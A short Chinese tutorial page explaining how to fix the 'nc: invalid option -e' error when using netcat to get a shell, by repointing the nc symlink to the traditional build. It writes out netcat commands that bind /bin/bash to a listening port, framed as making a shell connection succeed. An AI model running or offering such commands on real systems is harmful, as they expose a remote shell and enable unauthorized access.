最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
nc: invalid option ― ‘e’错误解决办法
时间:2022-06-30 18:47:22 编辑:袖梨 来源:一聚教程网
nc反弹shell的时候出现错误
nc: invalid option — ‘e’
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
以下是修复思路 www.111com.net
$ which nc
/bin/nc
$ ls -ld /bin/nc
lrwxrwxrwx 1 root root 20 10月 24 2012 /bin/nc -> /etc/alternatives/nc
$ ls -ld /etc/alternatives/nc
lrwxrwxrwx 1 root root 19 2月 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional
实际上我们要找的这是个文件 /bin/nc.traditional :
$ /bin/nc.openbsd -l -p 9999 -e /bin/bash
/bin/nc.openbsd: invalid option -- 'e'
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [hostname] [port[s]]
$ /bin/nc.traditional -l -p 9999 -e /bin/bash
^C
$
结合以上的输出消息,我们可以通过下面这段命令修复:
$ sudo rm /etc/alternatives/nc && sudo ln -s /bin/nc.traditional /etc/alternatives/nc
修复后再试试,没错误提示就shell反弹成功!
$ nc -l 192.168.2.180 -p 12345 -e /bin/bash
相关文章
- 钉钉网页版快捷入口-钉钉网页版一键登录官网 03-13
- 英语cet4成绩查询入口-cet4级成绩查询官网入口 03-13
- 老王磁力官网2026最新版-老王磁力最新网址发布页 03-13
- 哔咔漫画PicACG极速下载器-带可视化界面+多线程极速下载 03-13
- 虫虫漫画在线看入口在哪-2026最新地址与高清免费漫画在线阅读指南 03-13
- 学信网官方学籍验证通道-学信网权威学历认证通道 03-13